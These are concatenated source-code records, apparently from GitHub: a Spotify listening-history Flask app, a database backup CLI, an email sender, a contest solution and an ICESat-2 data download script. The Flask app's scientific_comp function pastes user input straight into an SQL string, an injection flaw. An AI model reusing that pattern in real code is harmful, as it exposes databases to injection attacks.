Parameters: 2 (df - dataframe resulting from the mutatedataset function and test which is the input mins of songs\n# played by the user)\n# Returns: the prediction given the input by the user - integer form of whether the artist is going to be popular,\n# average, or not popular\ndef ml(df, test):\n df[\"totalPlayed\"] /= 60000\n df[\"totalPlayed\"] = pd.to_numeric(df[\"totalPlayed\"])\n df[\"artistPopularity\"] = pd.to_numeric(df[\"artistPopularity\"])\n data = df[[\"totalPlayed\"]]\n target = df[\"artistPopularity\"]\n x_train, x_test, y_train, y_test = train_test_split(data, target, test_size=0.25, random_state=0)\n knn = KNeighborsClassifier(n_neighbors=1)\n knn.fit(x_train.values, y_train.values)\n pred = knn.predict(np.array([[test]]))\n return pred\n\n\n# Description: deals with the action computation; use SQL to filter out the specific month given by the user and then\n# uses pandas to find aggregate computations that gives insights into user's listening habits in a month\n# Parameters: 1 (month - inputted by the user)\n# Returns: 4: min, max, avg, sum of the ms/minutes played of music that specific month\ndef scientific_comp(month):\n data = curs.execute(\"SELECT * FROM streaming WHERE endTime like '\"+month+\"%';\")\n cols = [column[0] for column in data.description]\n df = pd.DataFrame.from_records(data=data.fetchall(), columns=cols)\n return df['msPlayed'].min()/60000, df['msPlayed'].max()/60000, df['msPlayed'].mean()/60000, df['msPlayed'].sum()/60000\n\n\nif __name__ == \"__main__\":\n conn = sl.connect(\"streaminghistory.db\", check_same_thread=False)\n curs = conn.cursor()\n app.secret_key = os.urandom(12)\n app.run(debug=True)\n\n # had to comment the following code because used it to create the database. After 1 execution, the database is\n # created so no need to run this code again.\n \"\"\"\n # create database\n conn = sl.connect(\"streaminghistory.db\")\n curs = conn.cursor()\n\n # create new table inside database\n curs.execute(\"CREATE TABLE streaming('endTime','artistName' varchar(32),'trackName' varchar(32), 'msPlayed' int);\")\n conn.commit()\n\n # insert data from the 4 csv into the database\n file1 = open(\"data_files/StreamingHistory0.csv\")\n file2 = open(\"data_files/StreamingHistory1.csv\")\n file3 = open(\"data_files/StreamingHistory2.csv\")\n file4 = open(\"data_files/StreamingHistory3.csv\")\n rows1 = csv.reader(file1)\n rows2 = csv.reader(file2)\n rows3 = csv.reader(file3)\n rows4 = csv.reader(file4)\n curs.executemany(\"INSERT INTO streaming VALUES (?, ?, ?, ?)\", rows1)\n curs.executemany(\"INSERT INTO streaming VALUES (?, ?, ?, ?)\", rows2)\n curs.executemany(\"INSERT INTO streaming VALUES (?, ?, ?, ?)\", rows3)\n curs.executemany(\"INSERT INTO streaming VALUES (?, ?, ?, ?)\", rows4)\n conn.commit()\n \"\"\"\n conn.close()\n","repo_name":"ssinghaditi/RecreatingSpotifyWrapped","sub_path":"ITP-216_Final_Singh_Aditi/ITP-216_Final_Singh_Aditi.py","file_name":"ITP-216_Final_Singh_Aditi.py","file_ext":"py","file_size_in_byte":10379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39594945898","text":"import json\nimport os.path\nimport re\nimport subprocess\nimport shutil\n\nimport click\n\nfrom core.context import Context\nfrom core.convention import *\nfrom core.log import LogFactory\nfrom core.backup_restore.storage.filestream_client import FileStreamClient, BackupStorage\n\n\n@click.group(name=\"backup\")\ndef backup_group():\n pass\n\n\n@click.command(name='start')\n@click.option('--backup_context', required=True, type=str)\n@click.option('-j', '--job_name', required=True, type=str)\ndef start_backup(backup_context, job_name):\n logger = LogFactory.get_logger(\"fullbackup.log\")\n with open(backup_context, 'r') as f:\n params = json.load(f)\n fullbackup_path = params[\"fullBackupPath\"]\n storage_name = params[\"storageName\"]\n sink = params[\"sink\"]\n\n try:\n logger.info('start backup')\n context = Context()\n sockfile = context.volume_path(VOLUME_DATA, 'run', 'mysql.sock')\n backup_dir = context.volume_path(VOLUME_DATA, 'backup')\n if os.path.exists(backup_dir):\n shutil.rmtree(backup_dir)\n os.mkdir(backup_dir)\n\n backup_cmd = \"\"\n if context.is_galaxy80():\n backup_cmd = [context.xtrabackup,\n \"--stream=xbstream\",\n \"--socket=\" + sockfile,\n \"--slave-info\",\n \"--backup\", \"--lock-ddl\"]\n elif context.is_xcluster57():\n backup_cmd = [context.xtrabackup,\n \"--stream=xbstream\",\n \"--socket=\" + sockfile,\n backup_dir]\n logger.info(\"backup_cmd: %s \" % backup_cmd)\n\n stderr_path = backup_dir + '/fullbackup-stderr.out'\n upload_stderr_path = backup_dir + '/upload.out'\n stderr_outfile = open(stderr_path, 'w+')\n upload_stderr_outfile = open(upload_stderr_path, 'w+')\n filestream_client = FileStreamClient(context, BackupStorage[str.upper(storage_name)], sink)\n with subprocess.Popen(backup_cmd, bufsize=8192, stdout=subprocess.PIPE, stderr=stderr_outfile, close_fds=True) as pipe:\n filestream_client.upload_from_stdin(remote_path=fullbackup_path, stdin=pipe.stdout,\n stderr=upload_stderr_outfile, logger=logger)\n pipe.stdout.close()\n get_binlog_commit_index(job_name, stderr_path, logger)\n logger.info(\"backup upload finished\")\n\n except Exception as e:\n logger.info(e)\n raise e\n\n\ndef get_binlog_commit_index(job_name, stderr_path, logger):\n # parse stderr to get commit_index\n with open(stderr_path,'r') as file:\n stderr_text = file.read()\n stderr_text_lines = stderr_text.splitlines()\n logger.info(\"backup result: %s\" % stderr_text)\n binlog_pos = -1\n slave_pos = -1\n for i in reversed(range(len(stderr_text_lines))):\n if re.search('MySQL binlog position:', stderr_text_lines[i]):\n binlog_pos = i\n break\n elif re.search('MySQL slave binlog position:', stderr_text_lines[i]):\n slave_pos = i\n binlog_line = \" \".join(stderr_text_lines[binlog_pos:slave_pos])\n # following is for xdb\n slave_status = {}\n m = re.search(r\"role: '(\\S*)'\", binlog_line)\n if m:\n slave_status['ROLE'] = m.group(1)\n m = re.search(r\"commit_index:'(\\d+)'\", binlog_line)\n if m:\n slave_status['COMMIT_INDEX'] = m.group(1)\n m = re.search(r\"consensus_apply_index:'(\\d+)'\", binlog_line)\n if m:\n slave_status['CONSENSUS_APPLY_INDEX'] = m.group(1)\n with open(\"/data/mysql/tmp/\" + job_name + \".idx\", mode='w+', encoding='utf-8') as f:\n if slave_status['CONSENSUS_APPLY_INDEX'] == \"0\" or slave_status['CONSENSUS_APPLY_INDEX'] == \"1\":\n f.write(slave_status['COMMIT_INDEX'])\n else:\n f.write(slave_status['CONSENSUS_APPLY_INDEX'])\n logger.info(\"binlog line parsed: %s\" % slave_status)\n\n\nbackup_group.add_command(start_backup)\n","repo_name":"polardb/polardbx-operator","sub_path":"tools/xstore/cli/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"72"} +{"seq_id":"2675599554","text":"import smtplib\nfrom os.path import basename\nfrom email.mime.multipart import MIMEMultipart\nfrom email.parser import Parser\nfrom email.mime.application import MIMEApplication\nfrom email.mime.text import MIMEText\nimport constants as c\nclass MailSender:\n def __init__(s, *args, **k): #You MUST pass username,pwd,destinatary and type\n s.server = smtplib.SMTP(c.gmailServer,587)\n s.server.ehlo()\n s.server.starttls()\n s.server.login(k['username'],k['pwd'])\n s.message = MIMEMultipart()\n s.message['Subject'] = \"Registros Preparatoria\" if k['type'] is 3 else \"Registros Profesional\"\n s.message['From']= k['username']\n s.destinatary = k['destinatary']#','.join(k['destinatary'])\n def attachCSV(s, csvFile):\n report = open(csvFile,'r')\n s.message.attach(MIMEApplication(report.read(),Content_Disposition=\"attachment; filename='%s'\"%basename(csvFile),Name=basename(csvFile)))\n def sendMail(s):\n s.server.sendmail(s.message['From'],s.destinatary, s.message.as_string())\n def __del__(s):\n s.server.quit()\n","repo_name":"rubcuadra/ITESMForms","sub_path":"students/sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22316255265","text":"import sys\n\nn, m = map(int, sys.stdin.readline().split())\n\nans = 0\nif n == 1:\n ans = 1\nelif m*2 < n+1:\n ans = m+1\nelse:\n ans = m-1\n\nprint(ans)\n","repo_name":"guzhoudiaoke/practice","sub_path":"codeforces/570B/py/570b.py","file_name":"570b.py","file_ext":"py","file_size_in_byte":152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30989697583","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport numpy\nimport math\nimport argparse\nimport multiprocessing\nimport time\nimport re\nimport shutil\nimport pandas\nimport geopandas\nimport datetime\nimport tables.exceptions\nimport shapely.geometry\nimport matplotlib.pyplot as plt\nimport cartopy.crs\n\n#####################################\n# Suppress the annoying pandas.FutureWarning warnings caused by library version conflicts.\n# It doesn't affect my code and will be resolved in future releases of pandas.\n# For now, just suppress the warning.\nimport warnings\nwarnings.filterwarnings(\"ignore\", message=\".*pandas.Int64Index is deprecated*\")\n#####################################\n\n####################################3\n# Include the base /src/ directory of thie project, to add all the other modules.\nimport import_parent_dir; import_parent_dir.import_src_dir_via_pythonpath()\n####################################3\nimport utils.configfile\nmy_config = utils.configfile.config()\nimport icesat2.nsidc_download as nsidc_download\nimport icesat2.classify_icesat2_photons as classify_icesat2_photons\nimport icesat2.icesat2_photon_database as icesat2_photon_database\nimport etopo.generate_empty_grids\nimport utils.progress_bar\nimport utils.sizeof_format\nimport utils.parallel_funcs\n\n# ICESAT2_DIR = os.path.join(my_config.etopo_cudem_cache_directory, \".cudem_cache\")\nICESAT2_DIR = my_config.icesat2_granules_directory\n\n\ndef move_all_granules_to_icesat2_granules_dir(old_dir=os.path.join(my_config.etopo_cudem_cache_directory, \".cudem_cache\"),\n new_dir = ICESAT2_DIR,\n h5_regex = \"ATL(\\w+)\\.h5\\Z\"):\n \"\"\"I'd previously been putting all the ICESAT-2 granules in /scratch_data/.cudem_cache with the\n waffles cached files. I decided I want them in the data/icesat2/granules directory instead. So\n I'm gonna move all the existing icesat-2 files over there.\"\"\"\n icesat2_files = [fn for fn in os.listdir(old_dir) if re.search(h5_regex, fn) != None]\n\n if len(icesat2_files) == 0:\n print(\"No existing icesat-2 files in\", old_dir + \". Exiting.\")\n return\n\n print (\"Moving\", len(icesat2_files), \"files to new ICESat-2 directory.\")\n for i,fname in enumerate(icesat2_files):\n old = os.path.join(old_dir, fname)\n new = os.path.join(new_dir, fname)\n shutil.move(old, new)\n utils.progress_bar.ProgressBar(i+1, len(icesat2_files), suffix=\"{0}/{1}\".format(i+1, len(icesat2_files)))\n\n\ndef create_query_bounding_boxes(xmin=-180, xmax=180, xres=1, ymin=-89, ymax=89, yres=1):\n \"\"\"We can't query & download the whole entire world instantly. So, let's\n generate a series of 5x5-degree bounding boxes in which to query for data.\n \"\"\"\n bboxes = []\n\n assert xmin < xmax\n assert ymin < ymax\n\n # Go either direction from the equator. Get to the polar regions last.\n if ymax > 0 and ymin < 0:\n y_vals = list(zip(range(0,ymax,yres), range(-1,ymin,-1)))\n y_vals = numpy.array(y_vals).flatten()\n else:\n y_vals = range(ymin, ymax, yres)\n\n for y in y_vals:\n for x in range(xmin, xmax, xres):\n bbox = (x,y,x+1,y+1)\n bbox = tuple([float(n) for n in bbox])\n bboxes.append(bbox)\n\n return bboxes\n\ndef create_icesat2_progress_csv(fname=my_config.icesat2_download_progress_csv,\n from_gpkg = False,\n verbose=True):\n \"\"\"Create a CSV file so that we can keep track of which icesat-2 files\n have been downloaded already and which ones have not. This is much more efficient than\n contantly querying NSIDC again and again to see if we have the files for every\n given 1x1-deg tile over the planet.\n\n If from_gpkg, then build it from the geopackage rather than from scratch. This is useful\n if we accidentally corrupted the CSV file while downloading.\n \"\"\"\n if from_gpkg:\n gpkg_fname = os.path.splitext(fname)[0] + \".gpkg\"\n if verbose:\n print(\"Reading\", os.path.split(gpkg_fname)[1] + \"...\")\n gdf = geopandas.read_file(gpkg_fname)\n df = pandas.DataFrame(gdf.drop(columns='geometry'))\n\n else:\n if verbose:\n print(\"Fetching all ICESat-2 1x1-deg bounding boxes. This can take a sec.\")\n tile_tuples = etopo.generate_empty_grids.create_list_of_tile_tuples(resolution=1, verbose=False)\n bboxes = [(int(x),int(y),int(x+1),int(y+1)) for (y,x) in tile_tuples if (y > -90)]\n df = pandas.DataFrame(data={\"xmin\": [bb[0] for bb in bboxes],\n \"ymin\": [bb[1] for bb in bboxes],\n \"xmax\": [bb[2] for bb in bboxes],\n \"ymax\": [bb[3] for bb in bboxes],\n \"numgranules\": numpy.zeros((len(bboxes),), dtype=int),\n \"is_downloaded\": numpy.zeros((len(bboxes),), dtype=bool)})\n\n if verbose:\n print(len(bboxes), \"bounding boxes total.\")\n\n df.to_csv(fname, index=False)\n if verbose:\n print(fname, \"written.\")\n\n return\n\ndef create_download_progress_map(download_gdf,\n map_filename,\n progress_fieldname = \"is_downloaded\",\n map_title = \"ETOPO NSIDC Download Progress\",\n cmap='jet',\n alpha=0.6,\n verbose=True):\n \"\"\"Generate an image of a world map showing areas that have been downloaded.\"\"\"\n world = geopandas.read_file(geopandas.datasets.get_path('naturalearth_lowres'))\n fig = plt.figure(figsize=(12,7))\n prj = cartopy.crs.PlateCarree()\n ax = plt.axes(projection=prj)\n # fig, ax = plt.subplots(1,1, figsize=(12,7)) #, projection=4326)\n # ax.set_xlim(-180, 180)\n # ax.set_ylim(-90, 90)\n ax.set_extent([-180,180,-90,90], crs=prj)\n # Add the background world in light grey\n world.plot(color=\"lightgrey\", ax=ax)\n # Add lat/lon graticules every 10 degrees, with labels\n ax.gridlines(xlocs=numpy.arange(-180,180,10),\n ylocs=numpy.arange(-90,90,10),\n draw_labels=True,\n x_inline=False, y_inline=False,\n color='k',\n linestyle=\"dotted\",\n linewidth=0.5)\n # Plot the boxes, colored by their downloaded status\n # dmin = min(download_gdf[progress_fieldname])\n dmax = max(download_gdf[progress_fieldname])\n cm_obj = plt.get_cmap(cmap, lut=2)\n # color_dmin = tuple(list(cm_obj(dmin)[0:3]) + [alpha])\n color_dmax = tuple(list(cm_obj(dmax)[0:3]) + [alpha])\n\n # If \"is_downloaded\" or \"is_populated\" field is all true, create an empty row at the end with a non-existent polygon.\n # Just need to give at least one \"false\" reading in order for the colormap to\n # still show correctly on a fully-completed map where 'is_downloaded' are all True.\n if numpy.all(download_gdf[progress_fieldname]):\n added_row = True\n if progress_fieldname == \"is_downloaded\":\n download_gdf.loc[len(download_gdf)] = [0,0,0,0,0,False,shapely.geometry.Polygon(([0,0],[0.00001,0],[0,0]))]\n elif progress_fieldname == \"is_populated\":\n download_gdf.loc[len(download_gdf)] = [\"\",0,0,0,0,0,0,0,False,shapely.geometry.Polygon(([0,0],[0.00001,0],[0,0]))]\n else:\n added_row = False\n\n # Add the data to the plot.\n download_gdf.plot(column=progress_fieldname, ax=ax, alpha=alpha, cmap=cm_obj)\n\n # Get rid of that temporary extra row if we added it.\n if added_row:\n # After it's plotted, drop the extra row we just added.\n download_gdf.drop(download_gdf.tail(1).index,inplace=True)\n\n # Add some helpful text to the figure.\n plt.text(0.5, 0.9, map_title,\n ha=\"center\", va=\"center\",\n fontsize=\"x-large\",\n fontweight=\"bold\",\n transform=fig.transFigure)\n\n total_tiles = len(download_gdf)\n tiles_downloaded = numpy.count_nonzero(download_gdf[progress_fieldname])\n pct_download = 100.0 * tiles_downloaded / total_tiles\n\n # Key for the complete color\n plt.text(0.13, 0.81, \"■ = complete\",\n ha=\"left\", va=\"center\",\n color = color_dmax,\n backgroundcolor = \"white\",\n fontsize=\"medium\",\n fontweight=\"bold\",\n bbox=dict(boxstyle='square,pad=0.1', fc='white', ec='none'),\n transform=fig.transFigure)\n\n plt.text(0.5, 0.10, \"{0:,} of {1:,} tiles complete, {2:.1f}%\".format(tiles_downloaded, total_tiles, pct_download),\n ha=\"center\", va=\"center\",\n fontsize=\"large\",\n fontweight=\"bold\",\n transform=fig.transFigure)\n now_str = datetime.datetime.now().astimezone().strftime(\"%a %Y-%m-%d %H:%M:%S %Z\")\n plt.text(0.5, 0.06, \"Last updated \" + now_str,\n ha=\"center\", va=\"center\",\n fontsize=\"large\",\n transform=fig.transFigure)\n\n # Save the figure.\n fig.savefig(map_filename, dpi=300)\n if verbose:\n print(os.path.split(map_filename)[1], \"written.\")\n # Make sure to close the figure to free up the memory.\n plt.close(fig)\n\n return\n\n\ndef subset_existing_photon_databases_to_ground_and_canopy_only():\n # THIS FUNCTION IS NO LONGER NEEDED. DO NOT RUN AGAIN.\n \"\"\"The original version of these database has all the photons included.\n Read through them all, eliminate all that aren't ground (1), canopy (2), or canopy_top(3).\n This should help reduce file sizes some.\"\"\"\n\n # NOTE: SHould only need to run this function once! Do not bother running again!\n # I've since updated the classify_icesat2_photons.save_granule_ground_photons() to only save ground and canopy photons rather than all of them.\n # Anything saved later than the \"datetime_cutoff\" should have this filtering already included and not need to be subset.\n print(\"Surveying ICESat-2 directory. Hold on a sec...\")\n db_files = [os.path.join(ICESAT2_DIR, fn) for fn in os.listdir(ICESAT2_DIR) if (re.search(\"_photons\\.h5\\Z\", fn) != None)]\n\n # Any files that have been last written past this date likely do not need to be reduced.\n # I'd started subsetting the files before saving after this.\n datetime_cutoff = datetime.datetime(2022,5,21,12,0,0)\n\n print(len(db_files), \"photon database files found.\")\n for i,db in enumerate(db_files):\n try:\n # Check to see if it's older than when we made the changes to how new databases were subset.\n # If it's a newer file, it would alreaady be subset, so skip this step.\n if datetime.datetime.fromtimestamp(os.path.getmtime(db)) <= datetime_cutoff:\n print(\"\\r\" + \" \"*120 + \"\\r\", end=\"\")\n print(\"{0}/{1}\".format(i+1, len(db_files)), end=\" \")\n # print(os.path.split(db)[1], \"is newer than cutoff date..\")\n print(os.path.split(db)[1], \"is older than cutoff date and has already been done..\")\n\n else:\n fsize_orig = os.path.getsize(db)\n df = pandas.read_hdf(db, mode='r')\n\n # Get only the photons whose \"class_code\" is 1 to 3\n subset_mask = df.class_code.between(1,3,inclusive=\"both\")\n if numpy.all(subset_mask):\n print(\"\\r\" + \" \"*120 + \"\\r\", end=\"\")\n print(\"{0}/{1}\".format(i+1, len(db_files)), end=\" \")\n print(os.path.split(db)[1], \"not reduced.\")\n else:\n df_subset = df.loc[subset_mask]\n df_subset.to_hdf(db, \"icesat2\", complib=\"zlib\", complevel=3, mode='w')\n fsize_new = os.path.getsize(db)\n reduction_pct = (fsize_orig - fsize_new)/fsize_orig * 100\n print(\"\\r\" + \" \"*120 + \"\\r\", end=\"\")\n print(\"{0}/{1}\".format(i+1, len(db_files)), end=\" \")\n print(os.path.split(db)[1],\n utils.sizeof_format.sizeof_fmt(fsize_orig), \"->\",\n utils.sizeof_format.sizeof_fmt(fsize_new) + \",\",\n \"{0:.1f}% reduction\".format(reduction_pct))\n except (AttributeError, tables.exceptions.HDF5ExtError):\n # If we can't find the module in the file that we're looking for, or\n # if an HDF5ExtError popped up, it\n # was probably incorrectly or incompletely saved. Delete it.\n os.remove(db)\n print(\"\\r\" + \" \"*120 + \"\\r\", end=\"\")\n print(\"{0}/{1}\".format(i+1, len(db_files)), end=\" \")\n print(os.path.split(db)[1], \"has an error. Deleting.\")\n\n utils.progress_bar.ProgressBar(i+1, len(db_files), suffix = \"{0}/{1}\".format(i+1, len(db_files)))\n\ndef create_tiling_progress_map(icesat2_db = None,\n update_with_csvs = True,\n use_tempfile = True,\n verbose=True):\n if icesat2_db is None:\n icesat2_db = icesat2_photon_database.ICESat2_Database()\n\n gdf = icesat2_db.get_gdf(verbose=verbose)\n\n if update_with_csvs:\n gdf = icesat2_db.update_gpkg_with_csvfiles(gdf = gdf,\n use_tempfile = use_tempfile,\n verbose=verbose)\n\n map_fname = icesat2_db.get_tiling_progress_mapname()\n create_download_progress_map(gdf,\n map_fname,\n progress_fieldname = \"is_populated\",\n map_title = \"ETOPO Photon Tile Database Progress\",\n verbose=verbose)\n\ndef delete_granules_where_photon_databases_exist():\n \"\"\"Get rid of granules in which we've already created a _photon.h5 database.\n\n We don't need the original granules anymore.\n \"\"\"\n print(\"Surveying ICESat-2 directory. Hold on a sec...\")\n db_files = [os.path.join(ICESAT2_DIR, fn) for fn in os.listdir(ICESAT2_DIR) if (re.search(\"_photons\\.h5\\Z\", fn) != None)]\n\n files_deleted = 0\n\n print(len(db_files), \"photon database files found.\")\n for i,db in enumerate(db_files):\n atl03_fname = db.replace(\"_photons.h5\", \".h5\")\n atl08_fname = atl03_fname.replace(\"ATL03\", \"ATL08\", 1)\n if os.path.exists(atl03_fname):\n os.remove(atl03_fname)\n files_deleted += 1\n if os.path.exists(atl08_fname):\n os.remove(atl08_fname)\n files_deleted += 1\n utils.progress_bar.ProgressBar(i+1, len(db_files), suffix = \"{0}/{1}\".format(i+1, len(db_files)))\n\n print(files_deleted, \"files deleted.\")\n\ndef download_all(overwrite = False,\n track_progress = True,\n update_map_every_N = 10,\n retry_count = 5,\n verbose=True):\n \"\"\"Square by square, go through and download the whole fuckin' world of ICESat-2 photons.\"\"\"\n tile_tuples = etopo.generate_empty_grids.create_list_of_tile_tuples(resolution=1, verbose=False)\n\n # Get rid of bottom and top latitudes here, since icesat-2 has a 1.2* pole-hole.\n tile_array = numpy.array([tt for tt in tile_tuples if tt[0] not in (-90,89)], dtype=numpy.dtype([('y',numpy.int16), ('x',numpy.int16)]))\n # put in order from zero-latitude northward & southward... do the poles last.\n tile_array_to_argsort = tile_array.copy()\n tile_array_to_argsort['y'] = numpy.abs(tile_array_to_argsort['y'])\n sort_mask = numpy.argsort(tile_array_to_argsort, order=('y','x'))\n tile_array_sorted = tile_array[sort_mask]\n\n bboxes = [(int(x),int(y),int(x+1),int(y+1)) for (y,x) in tile_array_sorted]\n\n # Use the download_progress.csv file to track which tiles have been downloaded and which have not yet.\n if track_progress:\n progress_fname = my_config.icesat2_download_progress_csv\n progress_df = pandas.read_csv(progress_fname)\n\n # For some reason a number of \"Unnamed\" columns are being added. Delete them if they're in there.\n cols_with_unnamed_in_them = [colname for colname in progress_df.columns if colname.lower().find(\"unnamed\") > -1]\n progress_df = progress_df.drop(cols_with_unnamed_in_them, axis=1)\n\n if len(progress_df) == 0:\n # Something got fucked up, rebuild the progress_df\n progress_df = rebuild_progress_csv_from_gpkg(progress_fname)\n\n # Also, it appears the progress csv has the last-degree polar tiles in them. Delete those.\n if len(progress_df) > 26110:\n orig_length = len(progress_df)\n progress_df = progress_df[progress_df['ymin'] != -90].copy()\n if verbose:\n print(\"Trimmed last-degree polar tiles from {0} to {1}.\".format(orig_length, len(progress_df)))\n progress_df.to_csv(progress_fname)\n if verbose:\n print(os.path.split(progress_fname)[1], 're-written.')\n\n if verbose:\n print(progress_fname, \"read.\")\n\n # ################### DELETE THESE ###########################################\n # # Just code thrown in here to create the map at the very end. Un-comment all this if you want to re-create the final download map.\n # gpkg_fname = os.path.splitext(progress_fname)[0] + \".gpkg\"\n # progress_gdf = output_progress_csv_to_gpkg(progress_df, gpkg_fname, verbose=verbose)\n\n # map_filename = os.path.splitext(gpkg_fname)[0] + \"_map.png\"\n # create_download_progress_map(progress_gdf, map_filename, verbose=verbose)\n # return\n # ################### DELETE THESE ###########################################\n\n\n num_updated_counter = 0\n started_downloads = False\n\n if verbose:\n print(\"Running through tiles to get to next tile to download...\")\n\n for i,bbox in enumerate(bboxes):\n\n xmin_letter = \"W\" if (bbox[0] < 0) else \"E\"\n xmax_letter = \"W\" if (bbox[2] < 0) else \"E\"\n ymin_letter = \"S\" if (bbox[1] < 0) else \"N\"\n ymax_letter = \"S\" if (bbox[3] < 0) else \"N\"\n intro_message = \"\\n=== {0}/{1} === BBOX: {2}{3}-{4}{5}, {6}{7}-{8}{9}\".format(\n i+1,\n len(bboxes),\n abs(bbox[0]),\n \"\" if (xmin_letter == xmax_letter) else xmin_letter,\n abs(bbox[2]),\n xmax_letter,\n abs(bbox[1]),\n \"\" if (ymin_letter == ymax_letter) else ymin_letter,\n abs(bbox[3]),\n ymax_letter)\n\n if track_progress:\n # Update the row and move along\n row = progress_df.loc[(progress_df.xmin == bbox[0]) & \\\n (progress_df.ymin == bbox[1]) & \\\n (progress_df.xmax == bbox[2]) & \\\n (progress_df.ymax == bbox[3])]\n\n try:\n assert len(row) == 1\n except AssertionError as e:\n print(progress_df)\n print(\"BBOX:\", bbox)\n print(len(row))\n print(row)\n raise e\n\n if row.iloc[0]['is_downloaded']:\n # Don't bother displaying this message until we get to the first one to download.\n if verbose and started_downloads:\n print(intro_message)\n print(\"Already downloaded. Moving on.\")\n continue\n\n started_downloads = True\n\n success = False\n false_tries = 0\n while not success:\n\n print(intro_message)\n try:\n granules_list = nsidc_download.download_granules(short_name=[\"ATL03\", \"ATL08\"],\n region=bbox,\n local_dir = ICESAT2_DIR,\n dates = ['2021-01-01',',2021-12-31'],\n version='005',\n fname_filter = None,\n force = overwrite,\n query_only = False,\n fname_python_regex = \"\\.h5\\Z\",\n download_only_matching_granules = True,\n skip_granules_if_photon_db_exists = True,\n quiet = not verbose)\n\n if isinstance(granules_list, Exception):\n raise granules_list\n elif granules_list is None:\n continue\n\n success = True\n false_tries = 0\n except KeyboardInterrupt as e:\n raise e\n except Exception as e:\n\n print(\"ERROR:\\n\\t\", e)\n false_tries += 1\n\n if false_tries >= retry_count:\n print(\"Errors. Waiting 5 minutes and then retrying...\")\n time.sleep(5*60)\n false_tries = 0\n\n if track_progress:\n # Update the data record\n progress_df.loc[row.index,'is_downloaded'] = True\n progress_df.loc[row.index,'numgranules'] = len(granules_list)\n # Re-write the file out to disk. This helps if we cut this process short.\n progress_df.to_csv(progress_fname)\n if verbose:\n print(os.path.split(progress_fname)[1], \"re-written.\")\n\n num_updated_counter += 1\n\n # Only spit these out every 10 files.\n if num_updated_counter >= update_map_every_N:\n\n # Also write out a geopackage file, so we can visualize this.\n gpkg_fname = os.path.splitext(progress_fname)[0] + \".gpkg\"\n progress_gdf = output_progress_csv_to_gpkg(progress_df, gpkg_fname, verbose=verbose)\n\n map_filename = os.path.splitext(gpkg_fname)[0] + \"_map.png\"\n create_download_progress_map(progress_gdf, map_filename, verbose=verbose)\n\n num_updated_counter = 0\n\n\ndef output_progress_csv_to_gpkg(progress_df, gpkg_fname, verbose=True):\n \"\"\"I'm keeping track of the tiles downloaded using a CSV file. Export it to a gpkg to visualize.\"\"\"\n # Temp function for creating a geometry polygon from the bounding-box values in our dataframe.\n def make_box(row):\n return shapely.geometry.box(row.xmin, row.ymin, row.xmax, row.ymax)\n # Create the geometry column.\n progress_df[\"geometry\"] = progress_df.apply(make_box, axis=1)\n # Turn it into a GeoDataFrame\n progress_gdf = geopandas.GeoDataFrame(progress_df, geometry='geometry', crs=4326)\n # Write it out.\n progress_gdf.to_file(gpkg_fname, layer=\"download\", driver=\"GPKG\")\n if verbose:\n print(os.path.split(gpkg_fname)[1], \"written.\")\n return progress_gdf\n\ndef generate_photon_databases_from_existing_granules(overwrite = False,\n parallelize = True,\n numprocs = 20,\n wait_time_when_zero_work_s = 120, # Wait 2 minutes before beginning again.\n delete_granules = True,\n verbose = True):\n \"\"\"For all ATL08+ATL03 granule pairs that exist, generate a photon database.\n\n Both files must exist. Files can be downloaded from the download_all() function\n or using the nsidc_download.py module to get missing granules.\n\n If overwrite, generate a databaase even if it already exists. Otherwise, don't.\"\"\"\n\n finished = False\n\n while not finished:\n if verbose:\n print(\"Querying ICESat-2 directory for matching ATL03 & ATL08 granules that do not yet have photon databases.\")\n\n granules_list = [fname for fname in os.listdir(ICESAT2_DIR) if ((fname[0:4] == \"ATL0\") and (os.path.splitext(fname)[1].lower() == \".h5\") and (fname.find(\"_photons\") == -1))]\n ATL03_granules = [gn for gn in granules_list if gn[0:5] == \"ATL03\"]\n ATL08_granules = [gn for gn in granules_list if gn[0:5] == \"ATL08\"]\n assert (len(ATL03_granules) + len(ATL08_granules)) == len(granules_list)\n\n ATL03_matching_granules = sorted([os.path.join(ICESAT2_DIR, atl03) for atl03 in ATL03_granules if atl03.replace(\"ATL03\", \"ATL08\") in ATL08_granules])\n ATL03_database_names = [atl03.replace(\".h5\", \"_photons.h5\") for atl03 in ATL03_matching_granules]\n\n # If the _photons.h5 alreaady exists and we aren't overwriting, skip & move along.\n new_granules_to_create_pairs = [(granule, database) for (granule, database) in zip(ATL03_matching_granules, ATL03_database_names) if (overwrite or not os.path.exists(database))]\n\n if len(new_granules_to_create_pairs) == 0:\n if wait_time_when_zero_work_s == 0:\n if verbose:\n print(\"Nothing more to do. Exiting.\")\n return\n\n time_mins = math.floor(wait_time_when_zero_work_s / 60)\n time_sec = int(math.remainder(wait_time_when_zero_work_s, 60))\n time_str = (\"\" if time_mins == 0 else f\"{time_mins} m\") + (\" \" if ((time_mins > 0) and (time_sec > 0)) else \"\") + (\"\" if time_sec == 0 else f\"{time_sec} s\")\n\n print(f\"Nothing to do right now. Waiting {time_str} before trying again. (Hit Ctrl-C to end.)\")\n try:\n time.sleep(wait_time_when_zero_work_s)\n except KeyboardInterrupt:\n return\n # Then loop back around and try again.\n continue\n\n elif verbose:\n print(\"Creating\", len(new_granules_to_create_pairs), \"new granule photon databases.\")\n\n if parallelize:\n procs_list = [None] * len(new_granules_to_create_pairs)\n N = len(procs_list)\n # First, generate a list of multiprocessing.Process objects to peruse through when doing this.\n for i,(granule, h5name) in enumerate(new_granules_to_create_pairs):\n procs_list[i] = multiprocessing.Process(target=classify_icesat2_photons.save_granule_ground_photons,\n args=(granule,),\n kwargs = {\"output_h5\": h5name,\n \"overwrite\": overwrite,\n \"delete_granules\": delete_granules,\n \"verbose\" : False}\n )\n # Then, start executing those processes until they're all done.\n running_procs = []\n running_databases = []\n finished_procs = 0\n utils.progress_bar.ProgressBar(0, N, suffix=\"0/{0}\".format(N))\n\n try:\n # Keep looping while there are still processes running or processes to yet finish.\n while (len(procs_list) > 0) or (len(running_procs) > 0):\n # Sanity checks. These should always be true.\n assert len(running_procs) == len(running_databases)\n 